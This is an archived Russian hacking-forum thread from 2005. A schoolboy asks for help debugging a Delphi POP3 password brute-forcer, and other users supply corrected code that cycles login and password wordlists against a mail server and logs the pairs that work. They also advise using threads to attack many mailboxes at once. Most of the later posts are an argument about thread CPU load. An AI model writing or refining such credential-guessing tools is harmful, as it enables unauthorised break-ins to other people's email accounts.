Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Брутфорсер в Delphi

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Брутфорсер в Delphi
Имя
Сообщение << Старые топики   Новые топики >>
Брутфорсер в Delphi - 2005-01-05 13:16:58   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Привет! Решил вот недавно написать брутфорсер в Дельфи. Забацал форму все дела. Но при компиляции вылезает данная ошибка. Вот сам код OnClick''а для Кнопки:
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:integer;
begin
Создаю массивы строк
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
Загружаю имена и пароли
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
Устанавливаю адрес и порт сервера
IdPOP.Host:=ServerNameEdit.Text;
IdPOP.Port:=StrToInt(PortEdit.Text);
Начинаю перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
Передаю имя и пароль компоненту
IdPOP.Username:=LoginStrings.Strings i];
IdPOP.Password:=PassStrings.Strings[j];
Попытка соединения
try
IdPOP.Connect;
except
end;
Если есть коннект то вывести сообщение
if IdPOP.Connected then
begin
Показать пароль. Именно в этом месте компилятор выдаёт ошибку. Причём если<BR>удалить эти две строчки то всё работает. Но нахрен мне брутфорсер если я не узнаю пароль от ящика.
Application.MessageBox(PChar(''Имя:''+LoginStrings.Strings i]+
''Пароль:''+PassStrings [j]), ''Пароль наиден!);
IdPOP.Disconnect;
Exit;
end;
end;
Унижтожаю массивы строк
LoginStrings.Free;
PassStrings.Free;
end;
end.
Народ помогите плиз!
Post #: 1
Брутфорсер в Delphi - 2005-01-05 13:42:08   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Данная - это какая?
Post #: 2
Брутфорсер в Delphi - 2005-01-06 13:28:14   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Блин. Извини. Invalid Typecast.
Post #: 3
Брутфорсер в Delphi - 2005-01-07 12:05:45   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
Итак, начнем с начала:
Во первых - ты задаешь переменные LoginStrings и PassStrings как TStings, но в программе создаешь экземпляры этих переменных другого класса. Не отходя от тела, замечу, что следовало бы хоть как-то обрабатывать исключения (если не понял, см. справку try..finally).
Во-первых, тип PChar - это только указатель на тип Char, который у тебя никак не инициализирован. К тому же, использование этого типа заставляет тебя выделять память с помощью StrAlloc()/GlobalAlloc(), а потом очищать ее при помощи GlobalFree().
Короче, советую тебе юзать для вывода что-нить типа TMemo, т.к. использование MessageBox'ов в подобной программе - бред.

И не надо говорить, что все работает. Тебе просто повезло, если что-то запустилось. А вообще с таким ником писать ТАКИЕ программы - хммммммммммм :(
Post #: 4
Брутфорсер в Delphi - 2005-01-07 18:56:47   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Насчёт ника. Данныи ник я придумал когда мне было 8 лет. А расставаться с ним было в лом т. к. многие меня знали именно под ним.
Ок. Заюзаю TMemo.
Сэнкс.
Post #: 5
Брутфорсер в Delphi - 2005-01-10 16:07:10   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Блин! Чего то нихрена не получается. Подскажи как реализовать с TMemo?
Post #: 6
Брутфорсер в Delphi - 2005-01-10 17:02:28   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
Блин, какой народ ленивый пошел…
Ок, завтра че-нить напишу, а то уже пора nach haus
Post #: 7
Брутфорсер в Delphi - 2005-01-11 08:05:22   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
Ок, как и обещал, пишу:

{mResult - Memo для вывода строк с пасами, mCurrent - Memo для отображения текущего прогресса,
cbConnect - CheckBox с запросом на разрыв соединения после нахождения пары}
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
IdPOP.Username:=LoginStrings.Strings;<BR> IdPOP.Password:=PassStrings.Strings[j];<BR> try<BR> IdPOP.Connect;<BR> except<BR> end;<BR> if IdPOP.Connected then<BR> begin<BR> mResult.Lines.Add('Имя: '+LoginStrings.Strings+' Пароль: '+<BR> PassStrings.Strings[j]+' ['+DateTimeToStr(Now)+']');<BR> if cbConnect.Checked then<BR> begin<BR> cbConnect.Checked:=True;<BR> IdPOP.Disconnect;<BR> end<BR> else<BR> begin<BR> cbConnect.Checked:=False;<BR> end;<BR> end<BR> else<BR> begin<BR> mCurrent.Lines.Add('Имя: '+LoginStrings.Strings+' Пароль: '+<BR> PassStrings.Strings[j]+' [Failed]');<BR> end;<BR><BR>Честно говоря, не вижу, что тебя могло смутить в столь простом коде…<BR>Ладно, надеюсь ты понимаешь, что ты должен выполнять проверки на наличие файлов, установку соединения, … Не помешает вывести ProgressBar для визуализации процесса подбора, не помешает знать сколько лет придется ждать полного перебора [sm=em88.gif]<BR><BR>Да, кстати, вечером я все-таки написал этот долбанный брутфорсер полностью, но тебе его не дам, потому что я жадный, да и лень в столь юном возрасте поощрять не стоит [sm=sm203.gif]<BR>Скажу только, что твой метод подбора далеко не эффективен, но это и понятно, ведь вы еще не проходили вышку… Еще советую тебе использовать потоки - они серьезно ускорят работу.<BR>В общем, работай, если что пиши - помогу, только не проси скинуть тебе готовый проект [sm=hi.gif]<BR><BR>P.S. мой вариант работает примерно в 200 (!!!) раз быстрее
Post #: 8
Брутфорсер в Delphi - 2005-01-12 08:41:33   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Потоки сильно ускоряют, но при этом также сильно загружают проц. Описывая плюсы, не забывай о минусах, а то так и появляются прожорливые "виндовсы"
Post #: 9
Брутфорсер в Delphi - 2005-01-12 13:12:51   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
2 Maker:
Для решения проблемы загрузки используются приоритеты. К тому же, потоки-клоны не вызывают существенного прироста загрузки проца по сравнению с одним единственным, т.е. минусов у этого метода нет!!!. Стоит лишь грамотно реализовать работу с ними [sm=mad.gif]
Post #: 10
Брутфорсер в Delphi - 2005-01-12 17:32:05   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Спасибо всем. Хе-хе а выщку мы не проходили ведь я тока в школе в 9 классе.[sm=9.gif] Я тока учусь. А брутфорсер я хотел написать просто так: интересно.[sm=2.gif][sm=1.gif]
Ещё раз спасибо!![sm=em121.gif]
Post #: 11
Брутфорсер в Delphi - 2005-01-14 11:16:23   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
quote:

—————-<BR>Цитата: Дата:12.01.2005 13:12:51, Автор:2Freak ::
2 Maker:<BR><BR>Для решения проблемы загрузки используются приоритеты. К тому же, потоки-клоны не вызывают существенного прироста загрузки проца по сравнению с одним единственным, т.е. минусов у этого метода нет!!!. Стоит лишь грамотно реализовать работу с ними [sm=mad.gif]
—————-


Читай внимательнее! Клоны жрут меньше памяти, но проц они грузят не меньше! Т.е. минусы как раз те, что я описал…
Post #: 12
Брутфорсер в Delphi - 2005-01-14 12:13:10   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
2 Maker:

Да ты что, а о такой вещи как синхронизация и Sleep() слышал?
Естественно, если ты просто создаешь поток, то он ЯКОБЫ сожрет все свободные ресурсы камня (но даже это НЕ тормоза - если ты не знаешь, то проц всегда загружен на 100%, если только состояние Idle можно назвать загрузкой, т.е. поток возьмет только те НЕИСПОЛЬЗУЕМЫЕ ресурсы, которые отдаст ему система).
Вот для того, чтобы любой другой системный процесс мог стартануть, ты должен установить пониженный приорите своего потока либо делать синхронизацию & Sleep().
Вывод может быть только один - потоки СИЛА, жаль сами MS'овцы не юзают его корректно, тогда бы мы не имели проблем с отрисовкой фейса у того же Explorer'а при интенсивном копировании.
И плюс ко всему, что один поток, что 100 - загрузка практически одинаковая, зато сделать в единицу времени можно в 100 раз больше.

Ок, надоело объяснять базисы… Читай умные книжки, не спорь со старшими, уважай родителей, не пей, не кури, занимайся спортом…
Post #: 13
Брутфорсер в Delphi - 2005-01-14 14:03:57   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
2(2Freak)

Ты не представляешь, как мне надоело объяснять базисы, особенно тем, кто считает, что знает все… При Sleep() на процессор с потока данные не идут. Синхронизация и есть синхронизация - грубо говоря тормозит процессы, которые выполняются быстрее. Однако, если кол-во процессов, таково, что свободных ресурсов не остается? В дело вступает проритеты. Что же это такое? Если ты почитаешь мануалы, и поработешь головой, то поймешь, что приорететы никак не разгружают процессы, а лишь указывают, данные какого процесса первыми пойдут на процессор. Что же у на получилось? Что все доводы которые ты привел каксаются лишь скорости обработки данных и порядка выполнения, а не загрузки процессора.

С тем, что потоки сила никто не спорит. Только использовать их нужно правильно. Так что отправляю тебя обратно, читать умные книжки. Про остальное ты вроде сам все знаешь…
Post #: 14
Брутфорсер в Delphi - 2005-01-14 16:07:19   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
2 Maker:

Ок, ты видимо что-то недопонимаешь… [sm=mad.gif] Объясню проще - при Sleep() поток приостанавливается для передачи другому потоку нескольких тактов камня, и в этом случае даже если первый поток ушел в даун, другие могут продолжать работать. Таким образом использование Sleep() РАЗГРУЖАЕТ процессор, ведь никто не говорил о том, что "кол-во процессов, таково, что свободных ресурсов не остается" [sm=em88.gif]. Зачем доводить дело до маразма? Все должно быть в меру… Или ты посчитал, что количество 100 - чрезмерное? Ну так это я просто для примера написал, реально я юзаю не больше 10-15.
Так, теперь приоритеты… [sm=2.gif] Видишь ли, в отличие от твоей теории, приоритет потока определяет количество процессорного времени, выделенного ему. Соответственно, чем меньше приоритет, тем меньше с потоком будут канителиться -> опять понизим нагрузку на проц.
Да, ты хоть сам понял, что сказал: "приорететы никак не разгружают процессы, а лишь указывают, данные какого процесса первыми пойдут на процессор"? Причем здесь процессы??? Мы кажется говорили о потоках [sm=9.gif]
Видимо, тебе действительно "надоело объяснять базисы" [sm=3.gif]

Блин, я что, где-то сказал, что знаю ВСЕ??? Покажи мне эту строчку. [sm=hi.gif]
Post #: 15
Брутфорсер в Delphi - 2005-01-14 21:17:47   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Э-э народ не ругаитесь тем более тема называется Брутфорсер в Дельфи.
2Freak
Ну вот спасибо тебе большое я всё сделал. Осталось только проверить работает ли переборщик. Правда у тебя там было несколько ляпов но всё равно биг сэнкс!
Post #: 16
Брутфорсер в Delphi - 2005-01-14 21:20:17   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Всё проверил - работает. Правда к моему ящику он нашёл два пароля.[sm=9.gif]
Post #: 17
Брутфорсер в Delphi - 2005-01-15 04:05:31   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
Видно тяжко мне даются прописные истины…

> при Sleep() поток приостанавливается для передачи другому потоку нескольких тактов камня, и в этом случае даже если первый поток ушел в даун, другие могут продолжать работать

Угу. Все верно. Но когда поток возобновляется, он что - меньше проц грузит?

> никто не говорил о том, что "кол-во процессов, таково, что свободных ресурсов не остается" . Зачем доводить дело до маразма? Все должно быть в меру… Или ты посчитал, что количество 100 - чрезмерное? Ну так это я просто для примера написал, реально я юзаю не больше 10-15.

Ты знаешь на какой машине твоя прога работать будет? Может там Пень-1 и 64 оперятивы, 96 из которых виндой заняты… И то что у тебя 4 Гб - ничего не значит. Даже если и не предел мощности - что, проц меньше грузится?

> Так, теперь приоритеты… Видишь ли, в отличие от твоей теории, приоритет потока определяет количество процессорного времени, выделенного ему. Соответственно, чем меньше приоритет, тем меньше с потоком будут канителиться -> опять понизим нагрузку на проц.

Мдя… Ты хоть раз книжки читал? Если проц не занят, то в него гонятся данные из первого по преоритету потока. То, что меньше будут канетелиться с данным единственным потом, не говорит о том, что проц не будет занят более приорететными данными. Так где же разгрузка проца?

Хор. Я устал. Давай зайдем с другой стороны, и подумаем головой… На данном примере брутфорса: должно быть проверено, например, 1024 варианта паролей. Используя потоки, не используя - они должны перебряться все 1024. Верно? Т.е. проц в любом случае обработает эти данные, верно? Так где же разгрузка проца?!
Повторю в третий раз - потоки неплохи. Их нужно умень использовать, и помнить об их минусах. За скорость мы платим процессорным временем.

P.S. 2Freak, если ты москвич, то предлагаю продолжить сию беседу за чашкой пива, ибо столько писать мне лень - старый я уже…
Post #: 18
Брутфорсер в Delphi - 2005-01-15 16:12:15   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
… а если питерскии то со мнои…
[sm=1.gif][sm=2.gif]
зы хех мне теперь скорость брутфорса не особа обременительна теперь у меня выделенка гы-гы[sm=9.gif][sm=em121.gif]
Post #: 19
Брутфорсер в Delphi - 2005-01-17 08:14:13   
2Freak

Сообщений: 60
Оценки: 0
Присоединился: 2004-11-30 15:26:56
2 Maker:
Блииииииииин, ну какой же ты настырный [sm=11.gif]
Пойми, что уменьшение нагрузки на камень достигается при совокупности перечисленных мной методов.

>когда поток возобновляется, он что - меньше проц грузит?
Нет, конкретный поток не меньше, но все ОСТАЛЬНЫЕ уже не добавляют нагрузки. Объясню проще - если ты создаешь однопоточное приложение, то оно будет жрать столько-же ресурсов, сколько и мои 10 потоков.

>Ты хоть раз книжкИ читал?
Офигительный вопрос! А ты, по всей видимости, всегда по несколько одновременно читаешь… неудивительно, что такая каша в понятиях.

>То, что меньше будут канетелиться с данным единственным потом, не говорит о том, что проц не будет занят более приорететными данными.
Ну, это уже финиш. Я же ясно выразился, что ВСЕ ПОТОКИ в нашем ПРОЦЕССЕ заняты выполнением одной задачи, следовательно все они работают с ОДИНАКОВЫМ приоритетом. Отсюда следует, что мы легко можем понизить приоритет ПРОЦЕССА, а это уже и есть разгрузка проца!

>Т.е. проц в любом случае обработает эти данные, верно? Так где же разгрузка проца?!
А ты что, хотел чтобы процессор вообще простаивал при переборе??? Видимо ты вообще неправильно понял, что должны делать потоки в данном случае. Посмотри текст digital god'а (самый первый пост). Видишь, он берет данные логина из файла -> предполагается, что взлом будет производится для нескольких ящиков. Вот тут и вступают в дело потоки. За то время пока однопоточная прога переберет пароли для одного ящика, многопоточная успеет обработать столько ящиков, сколько потоков ты создал, и повеь - это не займет больше ресурсов, чем у однопоточного приложения.

>За скорость мы платим процессорным временем.
НЕТ [sm=3.gif]

Я не москвич, поэтому, к сожалению, пивка выпить с тобой не могу… [sm=8.gif]
2 digital god: И с тобой тоже [sm=8.gif]

Резюме: все, не будем ссориться, тем более, что у парня все получилось [sm=sm203.gif]
Post #: 20
Брутфорсер в Delphi - 2005-01-17 11:53:41   
Maker

Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
2(2Freak)

> Блииииииииин, ну какой же ты настырный
Кто бы говорил [sm=11.gif]

Как же тяжко с тобой. Я могу еще согласится, что в данном конкретном примере брутфорса проц загрузится не сильно, т.к. полцченная со ВСЕХ ОДНОВРЕМЕННО потоков информация мизерна, и обработать ее легко. А если взять более распространненый пример - мультиплеерные игрушки? Скольдо возвращенных каждым потоком данных нужно обработать? Возможно я неправильно выразился: грузят проц не сами потоки, а возвращаемые ими одновременно данные.
Плюс загрузка сетевого канала - уж с этим ты поспорить не можешь…

[sm=sm203.gif]
Post #: 21
Брутфорсер в Delphi - 2005-01-17 16:05:46   
ламо ушастое

Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
Ага у меня всё получилось. А без вашеи помощи я бы не справился. Спасибо вам большое. [sm=em121.gif]
Post #: 22
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Брутфорсер в Delphi







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.